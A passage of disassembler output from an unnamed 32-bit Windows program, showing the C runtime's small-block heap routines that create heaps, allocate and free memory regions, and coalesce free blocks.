cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_4271BC ; HeapCreate
test eax, eax
mov dword_4DCFE4, eax
jz short loc_41DE28
call sub_41DC8A
cmp eax, 3
mov dword_4DCFE8, eax
jnz short loc_41DE0E
push 3F8h
call ___sbh_heap_init
pop ecx
jmp short loc_41DE18
; ---------------------------------------------------------------------------
loc_41DE0E: ; CODE XREF: sub_41DDD2+2Dj
cmp eax, 2
jnz short loc_41DE2B
call sub_41E976
loc_41DE18: ; CODE XREF: sub_41DDD2+3Aj
test eax, eax
jnz short loc_41DE2B
push dword_4DCFE4
call ds:dword_4271B8 ; HeapDestroy
loc_41DE28: ; CODE XREF: sub_41DDD2+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DE2B: ; CODE XREF: sub_41DDD2+3Fj
; sub_41DDD2+48j
push 1
pop eax
retn
sub_41DDD2 endp
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p
; sub_41B202+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E1C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41DF78
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF06
push 3Fh
pop edx
loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41DF5A
cmp edx, 20h
jnb short loc_41DF31
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41DF52
; ---------------------------------------------------------------------------
loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41DF52: ; CODE XREF: sub_41DEA2+86j
; sub_41DEA2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41DF5D
; ---------------------------------------------------------------------------
loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj
mov ecx, [ebp+var_4]
loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41DF78: ; CODE XREF: sub_41DEA2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF86
push 3Fh
pop edx
loc_41DF86: ; CODE XREF: sub_41DEA2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E029
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41DFAB
mov ebx, esi
loc_41DFAB: ; CODE XREF: sub_41DEA2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41DFBD
mov edx, esi
loc_41DFBD: ; CODE XREF: sub_41DEA2+117j
cmp ebx, edx
jz short loc_41E024
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E00C
cmp ebx, 20h
jnb short loc_41DFED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E00C
; ---------------------------------------------------------------------------
loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E00C: ; CODE XREF: sub_41DEA2+128j
; sub_41DEA2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E024: ; CODE XREF: sub_41DEA2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E029: ; CODE XREF: sub_41DEA2+EDj
mov ebx, [ebp+arg_0]
loc_41E02C: ; CODE XREF: sub_41DEA2+185j
cmp [ebp+var_C], 0
jnz short loc_41E03A
cmp ebx, edx
jz loc_41E0BB
loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E0BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E092
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E081
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E081: ; CODE XREF: sub_41DEA2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E0BB
; ---------------------------------------------------------------------------
loc_41E092: ; CODE XREF: sub_41DEA2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E0A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E0BB: ; CODE XREF: sub_41DEA2+192j
; sub_41DEA2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E1C6
mov eax, Dst
test eax, eax
jz loc_41E1B8
mov ecx, dword_4DCFCC
mov esi, ds:dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4DCFCC
mov eax, Dst
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, Dst
mov ecx, dword_4DCFCC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, Dst
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, Dst
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E149
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, Dst
loc_41E149: ; CODE XREF: sub_41DEA2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E1B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, Dst
push dword ptr [eax+10h]
push 0
push dword_4DCFE4
call ds:dword_427140 ; RtlFreeHeap
mov eax, dword_4DCFD8
mov edx, dword_4DCFDC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, Dst
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx ; Size
lea ecx, [eax+14h]
push ecx ; Src
push eax ; Dst
call _memcpy_0
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DCFD8
cmp eax, Dst
jbe short loc_41E1AE
sub [ebp+arg_0], 14h
loc_41E1AE: ; CODE XREF: sub_41DEA2+306j
mov eax, dword_4DCFDC
mov dword_4DCFD0, eax
loc_41E1B8: ; CODE XREF: sub_41DEA2+234j
; sub_41DEA2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DCFCC, edi
mov Dst, eax
loc_41E1C6: ; CODE XREF: sub_41DEA2+38j
; sub_41DEA2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41DEA2 endp
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41E976 proc near ; CODE XREF: sub_41DDD2+41p
; sub_41EC6E:loc_41EE3Dp
cmp dword_43A9C0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41E98A
mov esi, offset off_43A9B0
jmp short loc_41E9A7
; ---------------------------------------------------------------------------
loc_41E98A: ; CODE XREF: sub_41E976+Bj
push 2020h
push 0
push dword_4DCFE4
call ds:dword_427144 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41EAB3
loc_41E9A7: ; CODE XREF: sub_41E976+12j
mov ebp, ds:dword_4271C4
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41EA9C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41EA8E
mov eax, offset off_43A9B0
cmp esi, eax
jnz short loc_41EA06
cmp off_43A9B0, 0
jnz short loc_41E9F6
mov off_43A9B0, eax
loc_41E9F6: ; CODE XREF: sub_41E976+79j
cmp off_43A9B4, 0
jnz short loc_41EA1B
mov off_43A9B4, eax
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA06: ; CODE XREF: sub_41E976+70j
mov [esi], eax
mov eax, off_43A9B4
mov [esi+4], eax
mov off_43A9B4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EA1B: ; CODE XREF: sub_41E976+87j
; sub_41E976+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EA3D: ; CODE XREF: sub_41E976+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EA3D
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
loc_41EA66: ; CODE XREF: sub_41E976+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41EA8A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EA66
; ---------------------------------------------------------------------------
loc_41EA8A: ; CODE XREF: sub_41E976+F7j
mov eax, esi
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA8E: ; CODE XREF: sub_41E976+63j
push 8000h
push 0
push edi
call ds:dword_4271C0 ; VirtualFree
loc_41EA9C: ; CODE XREF: sub_41E976+4Bj
cmp esi, offset off_43A9B0
jz short loc_41EAB3
push esi
push 0
push dword_4DCFE4
call ds:dword_427140 ; RtlFreeHeap
loc_41EAB3: ; CODE XREF: sub_41E976+2Bj
; sub_41E976+12Cj
xor eax, eax
loc_41EAB5: ; CODE XREF: sub_41E976+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E976 endp
; =============== S U B R O U T I N E =======================================
sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call ds:dword_4271C0 ; VirtualFree
cmp off_43C9D0, esi
jnz short loc_41EADF
mov eax, [esi+4]
mov off_43C9D0, eax
loc_41EADF: ; CODE XREF: sub_41EABA+1Bj
cmp esi, offset off_43A9B0
jz short loc_41EB07
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DCFE4
call ds:dword_427140 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EABA+2Bj
or dword_43A9C0, 0FFFFFFFFh
pop esi
retn
sub_41EABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43A9B4
push edi
loc_41EB1D: ; CODE XREF: sub_41EB10+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EBBB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41EB36: ; CODE XREF: sub_41EB10+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41EB77
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call ds:dword_4271C0 ; VirtualFree
test eax, eax
jz short loc_41EB77
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DB9D4
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41EB6C
cmp eax, edi
jbe short loc_41EB6F
loc_41EB6C: ; CODE XREF: sub_41EB10+56j
mov [esi+0Ch], edi
loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EB84
loc_41EB77: ; CODE XREF: sub_41EB10+2Cj
; sub_41EB10+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41EB36
loc_41EB84: ; CODE XREF: sub_41EB10+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EBBB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EBBB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EBAC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EB9B
loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej
cmp edx, 400h
jnz short loc_41EBBB
push ecx
call sub_41EABA
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EB10+11j
; sub_41EB10+7Dj ...
cmp esi, off_43A9B4
jz short loc_41EBCD
cmp [ebp+arg_0], 0
jg loc_41EB1D
loc_41EBCD: ; CODE XREF: sub_41EB10+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap
; sub_41B202+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43A9B0
push esi
mov ecx, edx
loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EBE8
cmp eax, [ecx+14h]
jb short loc_41EBF0
loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EC25
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EBD2+14j
test al, 0Fh
jnz short loc_41EC25
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EC25
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj
; sub_41EBD2+20j ...
xor eax, eax
pop esi
retn
sub_41EBD2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp
; sub_41B202+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EC6D
inc dword_4DB9D4
cmp dword_4DB9D4, 20h
jnz short locret_41EC6D
push 10h
call sub_41EB10
pop ecx
locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj
; sub_41EC29+3Aj
retn
sub_41EC29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp
; sub_41B513+4Ap ...
Val = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43C9D0
push edi
loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41ED27
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41ECE1
loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41ECCA
cmp [edi+4], ebx
jbe short loc_41ECCA
push ebx
push ecx
push eax
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41ECCA: ; CODE XREF: sub_41EC6E+40j
; sub_41EC6E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41ECA7
jmp short loc_41ECE4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC6E+37j
mov ebx, [ebp+arg_0]
loc_41ECE4: ; CODE XREF: sub_41EC6E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+Val], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41ED2A
loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41ED16
cmp [edi+4], ebx
jbe short loc_41ED16
push ebx
push eax
push [ebp+var_4]
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov [edi+4], ebx
loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj
; sub_41EC6E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+Val]
jb short loc_41ECF7
jmp short loc_41ED2A
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41EC6E+14j
mov ebx, [ebp+arg_0]
loc_41ED2A: ; CODE XREF: sub_41EC6E+87j
; sub_41EC6E+B7j
mov esi, [esi]
cmp esi, off_43C9D0
jz short loc_41ED49
jmp loc_41EC7C
; ---------------------------------------------------------------------------
loc_41ED39: ; CODE XREF: sub_41EC6E+54j
; sub_41EC6E+A3j
mov off_43C9D0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41EE71
; ---------------------------------------------------------------------------
loc_41ED49: ; CODE XREF: sub_41EC6E+C4j
mov eax, offset off_43A9B0
mov edi, eax
loc_41ED50: ; CODE XREF: sub_41EC6E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41ED5C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41ED68
loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41EE3D
jmp short loc_41ED50
; ---------------------------------------------------------------------------
loc_41ED68: ; CODE XREF: sub_41EC6E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41ED97
loc_41ED86: ; CODE XREF: sub_41EC6E+127j
cmp [ebp+var_4], 10h
jge short loc_41ED97
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41ED86
loc_41ED97: ; CODE XREF: sub_41EC6E+116j
; sub_41EC6E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+Val], eax
call ds:dword_4271C4 ; VirtualAlloc
cmp eax, esi
jnz loc_41EE6F
push 0 ; Size
push [ebp+Val] ; Val
push esi ; Dst
call _memset
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41EDFE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EDD4
loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej
mov off_43C9D0, edi
lea eax, [edi+2018h]
loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j
cmp ecx, eax
jnb short loc_41EE1A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EE18
add ecx, 8
jmp short loc_41EE0A
; ---------------------------------------------------------------------------
loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j
cmp ecx, eax
loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j
call sub_41E976
test eax, eax
jz short loc_41EE6F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43C9D0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE6F: ; CODE XREF: sub_41EC6E+143j
; sub_41EC6E+1D6j
xor eax, eax
loc_41EE71: ; CODE XREF: sub_41EC6E+D6j
; sub_41EC6E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap
; sub_41EC6E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41EEBB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41EEAA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41EEB3
; ---------------------------------------------------------------------------
loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EEB3: ; CODE XREF: sub_41EE76+32j
lea eax, [edi+8]
jmp loc_41EF89
; ---------------------------------------------------------------------------
loc_41EEBB: ; CODE XREF: sub_41EE76+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41EEC4
mov eax, esi
loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41EF0E
loc_41EECB: ; CODE XREF: sub_41EE76+96j
mov bl, [eax]
test bl, bl
jnz short loc_41EF01
push 1
lea ebx, [eax+1]
pop esi
loc_41EED7: ; CODE XREF: sub_41EE76+68j
cmp byte ptr [ebx], 0
jnz short loc_41EEE0
inc ebx
inc esi
jmp short loc_41EED7
; ---------------------------------------------------------------------------
loc_41EEE0: ; CODE XREF: sub_41EE76+64j
cmp esi, edx
jnb short loc_41EF32
cmp eax, [ebp+var_4]
jnz short loc_41EEEE
mov [ecx+4], esi
jmp short loc_41EEFA
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41EE76+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41EF93
loc_41EEFA: ; CODE XREF: sub_41EE76+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE76+59j
movzx esi, bl
add eax, esi
loc_41EF06: ; CODE XREF: sub_41EE76+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41EECB
loc_41EF0E: ; CODE XREF: sub_41EE76+53j
lea esi, [ecx+8]
loc_41EF11: ; CODE XREF: sub_41EE76+EBj
; sub_41EE76+F2j
cmp esi, edi
jnb short loc_41EF93
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41EF93
mov al, [esi]
test al, al
jnz short loc_41EF63
push 1
lea ebx, [esi+1]
pop eax
loc_41EF29: ; CODE XREF: sub_41EE76+BAj
cmp byte ptr [ebx], 0
jnz short loc_41EF53
inc ebx
inc eax
jmp short loc_41EF29
; ---------------------------------------------------------------------------
loc_41EF32: ; CODE XREF: sub_41EE76+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF43
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EE76+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41EF4C: ; CODE XREF: sub_41EE76+CBj
mov [eax], dl
add eax, 8
jmp short loc_41EF89
; ---------------------------------------------------------------------------
loc_41EF53: ; CODE XREF: sub_41EE76+B6j
cmp eax, edx
jnb short loc_41EF6A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41EF93
mov esi, ebx
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF63: ; CODE XREF: sub_41EE76+ABj
movzx eax, al
add esi, eax
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF6A: ; CODE XREF: sub_41EE76+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF7B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41EF84
; ---------------------------------------------------------------------------
loc_41EF7B: ; CODE XREF: sub_41EE76+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EF84: ; CODE XREF: sub_41EE76+103j
mov [esi], dl
lea eax, [esi+8]
loc_41EF89: ; CODE XREF: sub_41EE76+40j
; sub_41EE76+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41EF95
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EE76+7Ej
; sub_41EE76+9Dj ...
xor eax, eax
loc_41EF95: ; CODE XREF: sub_41EE76+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EE76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
